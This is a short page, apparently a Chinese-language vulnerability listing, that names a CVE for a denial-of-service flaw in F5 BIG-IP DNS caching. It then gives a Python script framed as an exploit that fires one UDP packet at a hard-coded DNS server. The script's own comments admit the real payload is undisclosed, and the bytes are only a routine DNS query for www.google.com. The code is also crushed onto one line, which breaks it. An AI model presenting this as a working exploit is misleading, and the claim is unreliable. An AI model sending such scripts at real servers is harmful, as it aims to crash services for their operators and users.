CVE-2026-39458 F5 BIG-IP DNS缓存TMM拒绝服务漏洞

import socket # Target IP and Port configuration target_ip = "192.168.1.100" target_port = 53 # Craft a specific DNS payload that triggers the TMM crash # The actual payload is undisclosed in the CVE description payload = b"\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" # Send payload to the target try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}")